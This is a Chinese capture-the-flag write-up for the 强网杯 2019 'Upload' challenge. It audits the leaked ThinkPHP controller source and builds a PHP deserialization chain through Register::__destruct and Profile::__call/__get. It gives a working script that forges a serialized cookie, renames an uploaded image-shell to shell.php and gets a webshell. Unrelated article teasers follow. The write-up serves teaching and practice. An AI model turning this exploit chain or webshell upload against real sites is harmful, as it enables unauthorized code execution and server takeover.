[强网杯 2019]Upload

news2024/11/16 11:27:04

一、信息收集 

打开界面是一个登陆,界面随便注册一个然后登陆

 

然后是一个上传文件的操作,点击php后发现的回显

 然后又上传了一个图片文件,显示出了照片的存放路径,这里可以上传图片码

 然后抓包看一下,base64解码

 a:5:{s:2:"ID";i:3;s:8:"username";s:3:"111";s:5:"email";s:10:"111@qq.com";s:8:"password";s:32:"698d51a19d8a121ce581499d7b701668";s:3:"img";s:79:"../upload/c47b21fcf8f0bc8b3920541abd8024fd/f47454d1d3644127f42070181a8b9afc.png";}

发现是序列化,那么肯定会有反序列化的地方目前还没遇到,也没提示的点了,扫一下目录,扫到了www.tar.gz

里面有用的也就四个文件   index.php  login.php  profile.php  Register.php

二、代码审计

index.php 最重要的也就是cookie反序列化哪里

<?php
namespace app\web\controller;
use think\Controller;

class Index extends Controller
{
    public $profile;
    public $profile_db;

    public function index()
    {
        if($this->login_check()){ //因为下面有exit  这里肯定是为false或者0
            $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home";
            $this->redirect($curr_url,302);
            exit();
        }
        return $this->fetch("index");
    }

    public function home(){
        if(!$this->login_check()){  //这
            $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
            $this->redirect($curr_url,302);
            exit();
        }
//其实到这里我们只要访问index 和home肯定会执行cookie反序列化
        if(!$this->check_upload_img()){
            $this->assign("username",$this->profile_db['username']);
            return $this->fetch("upload");
        }else{
            $this->assign("img",$this->profile_db['img']);
            $this->assign("username",$this->profile_db['username']);
            return $this->fetch("home");
        }
    }

    public function login_check(){
        $profile=cookie('user');//存入cookie中
        if(!empty($profile)){
            $this->profile=unserialize(base64_decode($profile));//这里是把cookie反序列化
            $this->profile_db=db('user')->where("ID",intval($this->profile['ID']))->find();
            if(array_diff($this->profile_db,$this->profile)==null){
                return 1;
            }else{
                return 0;
            }
        }
    }

    public function check_upload_img(){
        if(!empty($this->profile) && !empty($this->profile_db)){
            if(empty($this->profile_db['img'])){
                return 0;
            }else{
                return 1;
            }
        }
    }

    public function logout(){
        cookie("user",null);
        $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
        $this->redirect($curr_url,302);
        exit();
    }

    public function __get($name)
    {
        return "";
    }

}

login.php  是一些登陆验证没多大用感觉

<?php
namespace app\web\controller;
use think\Controller;

class Login extends Controller
{
    public $checker;

    public function __construct()
    {
        $this->checker=new Index();
    }

    public function login(){//因为有 exit两条路要么,checker为0要么第二个if为false
        if($this->checker){
            if($this->checker->login_check()){
                $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home";
                $this->redirect($curr_url,302);
                exit();
            }
        }

        if(input("?post.email") && input("?post.password")){
            $email=input("post.email","","addslashes");
            $password=input("post.password","","addslashes");
            $user_info=db("user")->where("email",$email)->find();
//上面就是一些登陆验证啥的不用管
            if($user_info) {
                if (md5($password) === $user_info['password']) {
                    $cookie_data=base64_encode(serialize($user_info));
                     //这里有个序列化 base64加密
                    cookie("user",$cookie_data,3600);
                    $this->success('Login successful!', url('../home'));
                } else {
                    $this->error('Login failed!', url('../index'));
                }
            }else{
                $this->error('email not registed!',url('../index'));
            }
        }else{
            $this->error('email or password is null!',url('../index'));
        }
    }


}

profile.php 是一个关键的类里面有get call魔术方法和上传目录的相关代码

<?php
namespace app\web\controller;

use think\Controller;

class Profile extends Controller
{
    public $checker;
    public $filename_tmp;
    public $filename;
    public $upload_menu;
    public $ext;
    public $img;
    public $except;

    public function __construct()
    {
        $this->checker=new Index();
        $this->upload_menu=md5($_SERVER['REMOTE_ADDR']);
        @chdir("../public/upload");
        if(!is_dir($this->upload_menu)){
            @mkdir($this->upload_menu);
        }
        @chdir($this->upload_menu);
    }

    public function upload_img(){
        if($this->checker){  //感觉每个里面都有这个先省略在这
            if(!$this->checker->login_check()){
                $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
                $this->redirect($curr_url,302);
                exit();
            }
        }

        if(!empty($_FILES)){  //上传的名字md5加密.png
//会改变之前的文件名,变成不可控所以要绕过这个if
//所以只能上传一次,不然后台就不为空了
            $this->filename_tmp=$_FILES['upload_file']['tmp_name'];
            $this->filename=md5($_FILES['upload_file']['name']).".png";
            $this->ext_check();
        }
        if($this->ext) {
            if(getimagesize($this->filename_tmp)) {
//getimagesize 是检测是不是图像类型比如png.jpg等
                @copy($this->filename_tmp, $this->filename);
//把文件复制到指定路径 filename_tmp是系统指定的
//如果我们能控制,指定路径的目录名称,然后传一个图片码不就可以getshell了码
                @unlink($this->filename_tmp);
                $this->img="../upload/$this->upload_menu/$this->filename";
                $this->update_img();
            }else{
                $this->error('Forbidden type!', url('../index'));
            }
        }else{
            $this->error('Unknow file type!', url('../index'));
        }
    }

    public function update_img(){
        $user_info=db('user')->where("ID",$this->checker->profile['ID'])->find();
        if(empty($user_info['img']) && $this->img){
            if(db('user')->where('ID',$user_info['ID'])->data(["img"=>addslashes($this->img)])->update()){
                $this->update_cookie();
                $this->success('Upload img successful!', url('../home'));
            }else{
                $this->error('Upload file failed!', url('../index'));
            }
        }
    }

    public function update_cookie(){
        $this->checker->profile['img']=$this->img;
        cookie("user",base64_encode(serialize($this->checker->profile)),3600);
    }

    public function ext_check(){
        $ext_arr=explode(".",$this->filename);
        $this->ext=end($ext_arr);
        if($this->ext=="png"){
            return 1;
        }else{
            return 0;
        }
    }

    public function __get($name)
    {
        return $this->except[$name];
    }  

    public function __call($name, $arguments)
    {
        if($this->{$name}){
            $this->{$this->{$name}}($arguments);
        }
    }

}

Register.php

<?php
namespace app\web\controller;
use think\Controller;

class Register extends Controller
{
    public $checker;
    public $registed;

    public function __construct()
    {
        $this->checker=new Index();
    }

    public function register()
    {
        if ($this->checker) {
            if($this->checker->login_check()){
                $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home";
                $this->redirect($curr_url,302);
                exit();
            }
        }
        if (!empty(input("post.username")) && !empty(input("post.email")) && !empty(input("post.password"))) {
            $email = input("post.email", "", "addslashes");
            $password = input("post.password", "", "addslashes");
            $username = input("post.username", "", "addslashes");
            if($this->check_email($email)) {
                if (empty(db("user")->where("username", $username)->find()) && empty(db("user")->where("email", $email)->find())) {
                    $user_info = ["email" => $email, "password" => md5($password), "username" => $username];
                    if (db("user")->insert($user_info)) {
                        $this->registed = 1;
                        $this->success('Registed successful!', url('../index'));
                    } else {
                        $this->error('Registed failed!', url('../index'));
                    }
                } else {
                    $this->error('Account already exists!', url('../index'));
                }
            }else{
                $this->error('Email illegal!', url('../index'));
            }
        } else {
            $this->error('Something empty!', url('../index'));
        }
    }

    public function check_email($email){
        $pattern = "/^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,})$/";
        preg_match($pattern, $email, $matches);
        if(empty($matches)){
            return 0;
        }else{
            return 1;
        }
    }

    public function __destruct()
    {
        if(!$this->registed){
            $this->checker->index();
        }
    }


}

发现了destruct序列化的入口,我们现在就可以构造链子了,如果想继续构造那么

registed的值必须为0,看了这么多代码,其实有关的就是三个if这里

public function upload_img(){
第一        if($this->checker){  //感觉每个里面都有这个先省略在这
            if(!$this->checker->login_check()){
                $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
                $this->redirect($curr_url,302);
                exit();
            }
        }

肯定是不满足直接checker为0,绕过

     第二   if(!empty($_FILES)){  
            $this->filename_tmp=$_FILES['upload_file']['tmp_name'];
            $this->filename=md5($_FILES['upload_file']['name']).".png";
            $this->ext_check();
        } 

第二个if我觉得就是对上传的文件进行md5名称.png

ext必须为1才向下运行
   第三     if($this->ext) {
            if(getimagesize($this->filename_tmp)) {
//getimagesize 是检测是不是图像类型比如png.jpg等
                @copy($this->filename_tmp, $this->filename);
//把文件复制到指定路径 filename_tmp是系统指定的
//如果我们能控制,指定路径的目录名称,然后传一个图片码不就可以getshell了码
                @unlink($this->filename_tmp);
                $this->img="../upload/$this->upload_menu/$this->filename";
                $this->update_img();
            }else{
                $this->error('Forbidden type!', url('../index'));
            }
        }else{
            $this->error('Unknow file type!', url('../index'));
        }
    } 

开头destruct结尾upload_img确定了直接调用,

$this->checker->index();   profile.php里面不存在就直接调用了call魔法函数

name的值就是方法的名也就是index

public function __get($name)
    {
        return $this->except[$name];
    }  

    public function __call($name, $arguments)
    {
        if($this->{$name}){//成为了这里的属性,而类中不存在index属性

//就会调用get魔法函数
            $this->{$this->{$name}}($arguments);
        }
    }

return $this->except[$name]; 其实现在就是return $this->except[index];

except是一个数组,正好我们想要调用的这个public function upload_img()也是在同一个类中,那个我们给 index赋值  upload_img这个方法不就可以了吗 

三、getshell

<?php
namespace app\web\controller;
class Register
{
    public $checker;
    public $registed=0;
}
class Profile
{
    public $checker=0;
    public $filename_tmp='./upload/c47b21fcf8f0bc8b3920541abd8024fd/a7c3ce076585477741d951d179ab07dc.png';
    public $filename='./upload/c47b21fcf8f0bc8b3920541abd8024fd/shell.php';
    public $upload_menu;
    public $ext=1;
    public $img;
    public $except=array('index'=>'upload_img');

}
$a=new Register();
$a->checker=new Profile();
echo base64_encode(serialize($a));

这里filename_tmp就是我们上传图片码的文件位置,下面filename是我们自己构造的

然后因为是cookie反序列化,直接存入cookie刷新页面就会自动反序列化了

首先传入cookie

然后直接访问文件,出现图片的代码、

 

接下来我们可以通过一句话木马来getshell 

获得flag 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/96948.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

想要学习次世代3d建模,需要用到哪些软件,制作流程是什么?

在校大学生想要学习游戏次世代建模&#xff0c;首先就要先了解次世代是什么&#xff1f;制作建模所需要用到的软件有哪些&#xff0c;随着次世代游戏的不断发展&#xff0c;游戏美术制作流程也迎来了全新的制作方式&#xff0c;像ZBrush、SP等软件就解放了我们的双手和制作方式…

Spark-Spark Sql(DataFrame、DataSet、Scala代码开发、数据的加载和保存)

文章目录Spark SqlHive and SparkSQL特点DataFrame 是什么DataSet 是什么核心编程新的起点DataFrame创建SQL语法DSL 语法RDD > DataFrameDataFrame > RDDDataSet创建RDD > DataSetDataSet > RDDDataFrame > DataSetDataSet > DataFrameRDD、DataFrame、DataS…

CSND近期推出的猿如意到底有没有必要安装

可能很多人还不知道猿如意是什么&#xff0c;先给大家科普一下 猿如意 工具代码&#xff0c;一搜就有 程序员的如意兵器 猿如意是一款面向开发者的辅助开发工具箱&#xff0c;包含了效率工具、开发工具下载&#xff0c;教程文档&#xff0c;代码片段搜索&#xff0c;全网搜索等…

Raydium被盗造成巨额损失,但Zebec Protocol以及$ZBC并未受影响

在12月17日&#xff0c;Solana上最大的DEX Raydium因木马攻击导致流动性资金池所有者帐户的私钥泄露&#xff0c;攻击者访问了资金池所有者帐户&#xff0c;然后能够调用withdraw pnl函数&#xff0c;该函数用于收集池中掉期所赚取的交易/协议费用。 而受影响的资金池包括SOL-…

论文翻译:LiDAR Based Negative Obstacle Detection for Field Autonomous Land Vehicles

论文地址&#xff1a;https://onlinelibrary.wiley.com/doi/full/10.1002/rob.21609?saml_referrer &#xff08;机翻&#xff0c;自己保存观看的&#xff09; Abstract&#xff1a; 野外自动驾驶陆地车辆&#xff08;ALV&#xff09;的负障碍是指沟渠、坑或具有负坡度的地形&…

在Vue3这样子写页面更快更高效

前言 在开发管理后台过程中&#xff0c;一定会遇到不少了增删改查页面&#xff0c;而这些页面的逻辑大多都是相同的&#xff0c;如获取列表数据&#xff0c;分页&#xff0c;筛选功能这些基本功能。而不同的是呈现出来的数据项。还有一些操作按钮。 对于刚开始只有 1&#xff…

【JavaScrip】for循环

文章目录for循环案例1&#xff1a;两数相加案例2&#xff1a;绘制九九乘法表案例3&#xff1a;水仙花数案例4&#xff1a;绘制菱形案例5:计算表达式的结果break和continuefor循环 for循环理解成循环的一种简洁(结构)的写法. 语法结构&#xff1a; for(初始化;限制条件;变量值的…

vue封装背景知识小插曲之插槽slot的用法

vue封装背景知识小插曲之插槽slot的用法一 什么是插槽slot&#xff0c;都可以干啥&#xff1f;二 常见的插槽用法一 什么是插槽slot&#xff0c;都可以干啥&#xff1f; 直白点说就是子组件使用<slot> 先占了个地方&#xff0c;然后当父组件使用子组件的时候&#xff0c;…

第十三章 半监督学习

13.1 未标记样本 事实上&#xff0c;未标记样本虽未直接包含标记信息&#xff0c;但若它们与有标记样本是从同样的数据源独立同分布采样而来&#xff0c;则它们所包含的关于数据分布的信息对建立模型将大有裨益。下图给出一个直观的例示。若仅基于图中的一个正例和一个反例&am…

Next.js项目部署,使用Nginx和pm2

概述 只有一台服务器&#xff0c;所以上图服务都都在一个云服务器上。其中Nginx 分别在用户和Next服务之间代理、在Next和后台之间代理。 常规的前台页面不需要这样做&#xff0c;例如Vue中直接把build之后的dist文件拷贝到nginx的html目录并配置nginx指向即可&#xff0c;但是…

Vue的底层原理

如何追踪变化 当你把一个普通的 JavaScript 对象传入 Vue 实例作为 data 选项&#xff0c;Vue 将遍历此对象所有的 property&#xff0c;并使用 Object.defineProperty 把这些 property 全部转为 getter/setter。 这些 getter/setter 对用户来说是不可见的&#xff0c;但是在…

RK3588平台开发系列讲解(GPIO篇)配置GPIO需要了解的概念

平台内核版本安卓版本RK3588Linux 5.10Android12🚀返回专栏总目录 文章目录 一、 GPIO(通⽤输⼊输出)二、IOMUX(输⼊输出复⽤)三、PULL(端口上下拉)四、DRIVE-STRENGTH(端口驱动强度)五、 SMT(端口斯密特触发器)沉淀、分享、成长,让自己和他人都能有所收获!😄 …

SAP Gateway 在开发系统和生产系统上的缓存控制

SAP Gateway 元数据缓存可以启用和禁用&#xff0c;并且在非生产系统中默认停用。 我们推荐以下缓存设置&#xff1a; 开发系统 应该禁用 SAP Gateway 元数据缓存&#xff0c;以便始终获取最新的元数据&#xff08;默认设置&#xff09;。 OData 通道应用程序应在其模型提供…

UNIAPP实战项目笔记53 登录的前端和后端nodejs对接以及写后端接口和接口文档

UNIAPP实战项目笔记53 登录的前端和后端对接以及写后端接口和接口文档 实际案例图片 输入手机号或用户名登录页面 代码 login.vue页面 <template><view class"login"><swiper vertical"true" style"height: 100vh;"><swi…

VIM编辑器初学者用法指南——vim中无法使用冒号更改Ubuntu的输入法解决

VIM编辑器初学者用法指南一、vim打开文件&#xff1a;二、vim编辑文件&#xff1a;三、退出编辑模式四、保存文件并退出Vim编辑器Vim编辑器是Unix系统最初的编辑器&#xff0c;内置有两种操作模式:普通模式和插入模式。 普通模式&#xff1a;执行非内容编辑类的保存、退出等指令…

基于JAVA和MYSQL的图书馆座位管理系统的设计与开发

开发工具(eclipse/idea/vscode等)&#xff1a; 数据库(sqlite/mysql/sqlserver等)&#xff1a; 功能模块(请用文字描述&#xff0c;至少200字)&#xff1a; 11-11管理员功能模块 公告管理&#xff1a;可以对馆内开放时间、意外情况或者其他安排在网上进行发布公告&#xff0c;也…

【Redis-10】Redis集群的实现原理(Redis Cluster)

Redis集群是Redis提供的分布式数据库方案&#xff0c;通过分片来进行数据共享&#xff0c;实现复制和故障转移的功能。 1. Redis集群节点 一个Redis集群由多个节点组成&#xff0c;多个节点通过命令连接&#xff0c;由独立状态转为集群状态&#xff0c;命令是cluster meet <…

C51——电动车简易防盗系统

这是电动车简易报警器信号电路 #include "reg52.h" sbit switcher P1^1; sbit D0_ON P1^2; sbit D1_OFF P1^3; sbit vibrator P1^4; void Delay3000ms() //11.0592MHz { unsigned char i, j, k; //_nop_(); i 22; j 3; k 227; …

生物素-双硫键-叠氮化物Biotin-SS-Azide CAS1620523-64-9 简介

名称&#xff1a;Biotin-SS-azide Azide-SS-biotin Azide-C2-SS-C2-biotin 是一种可降解 (cleavable) 的 ADC linker&#xff0c;可用于合成抗体偶联药物(ADC)。叠氮化物-SS-生物素是一种可裂解的生物素化试剂&#xff0c;用于使用点击化学标记含炔烃的生物分子。叠氮基与炔烃…

Mycat(2):mysql的集群搭建

MyCat的环境演示需要使用mysql集群 &#xff0c;下面先搭建mysql的环境 1 集群搭建概述 1.1 是什么 集群&#xff08;cluster&#xff09;技术是一种较新的技术&#xff0c;通过集群技术&#xff0c;可以在付出较低成本的情况下获得在性能、可靠性、灵活性方面的相对较高的收…